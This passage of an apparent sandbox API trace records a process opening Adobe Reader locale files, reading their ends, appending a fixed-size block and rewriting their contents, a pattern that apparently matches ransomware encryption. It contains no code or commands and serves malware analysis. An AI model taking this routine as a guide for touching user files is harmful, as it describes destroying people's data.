lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.423] CloseHandle (hObject=0x168) returned 1 [0038.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.424] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.424] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4e00 [0038.424] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.424] ReleaseMutex (hMutex=0x128) returned 1 [0038.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.FRA", cchWideChar=7, lpMultiByteStr=0x1e6a9e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.FRA", lpUsedDefaultChar=0x0) returned 7 [0038.424] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.642] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3e00 [0038.642] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3e00 [0038.934] WriteFile (in: hFile=0x168, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.934] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.934] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.934] CloseHandle (hObject=0x168) returned 1 [0038.934] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1200 [0038.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.935] ReleaseMutex (hMutex=0x128) returned 1 [0038.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.FRA", lpUsedDefaultChar=0x0) returned 10 [0038.935] ReadFile (in: hFile=0x168, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x318f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0038.992] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0038.993] WriteFile (in: hFile=0x168, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x318f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0038.993] CloseHandle (hObject=0x168) returned 1 [0038.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.993] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.993] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x66600 [0038.993] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.993] ReleaseMutex (hMutex=0x128) returned 1 [0038.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HRV", lpUsedDefaultChar=0x0) returned 12 [0038.994] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.005] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x65600 [0039.005] ReadFile (in: hFile=0x168, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.018] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x65600 [0039.019] WriteFile (in: hFile=0x168, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.019] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.019] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.019] CloseHandle (hObject=0x168) returned 1 [0039.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.019] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.020] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12600 [0039.020] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.020] ReleaseMutex (hMutex=0x128) returned 1 [0039.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x1e78b04, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.HRV", lpUsedDefaultChar=0x0) returned 18 [0039.020] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.034] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11600 [0039.035] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.035] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11600 [0039.035] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.035] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.035] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.035] CloseHandle (hObject=0x168) returned 1 [0039.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9049 [0039.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.036] ReleaseMutex (hMutex=0x128) returned 1 [0039.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.036] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.047] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8049 [0039.047] ReadFile (in: hFile=0x168, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.047] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8049 [0039.047] WriteFile (in: hFile=0x168, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.047] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.047] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.048] CloseHandle (hObject=0x168) returned 1 [0039.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.048] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.048] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1f600 [0039.048] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.048] ReleaseMutex (hMutex=0x128) returned 1 [0039.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HUN", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HUN", lpUsedDefaultChar=0x0) returned 12 [0039.048] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.059] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e600 [0039.060] ReadFile (in: hFile=0x168, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.068] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e600 [0039.068] WriteFile (in: hFile=0x168, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.068] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.068] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.068] CloseHandle (hObject=0x168) returned 1 [0039.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.069] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.069] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x151a00 [0039.069] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.069] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.069] ReleaseMutex (hMutex=0x128) returned 1 [0039.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HUN", lpUsedDefaultChar=0x0) returned 12 [0039.069] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.075] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x150a00 [0039.089] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.099] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x150a00 [0039.099] WriteFile (in: hFile=0x168, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.100] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.100] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.100] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.100] CloseHandle (hObject=0x168) returned 1 [0039.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.100] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.101] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7200 [0039.101] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.101] ReleaseMutex (hMutex=0x128) returned 1 [0039.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.HUN", lpUsedDefaultChar=0x0) returned 11 [0039.101] ReadFile (in: hFile=0x168, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.114] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6200 [0039.115] ReadFile (in: hFile=0x168, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.115] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6200 [0039.115] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.115] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.115] WriteFile (in: hFile=0x168, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: 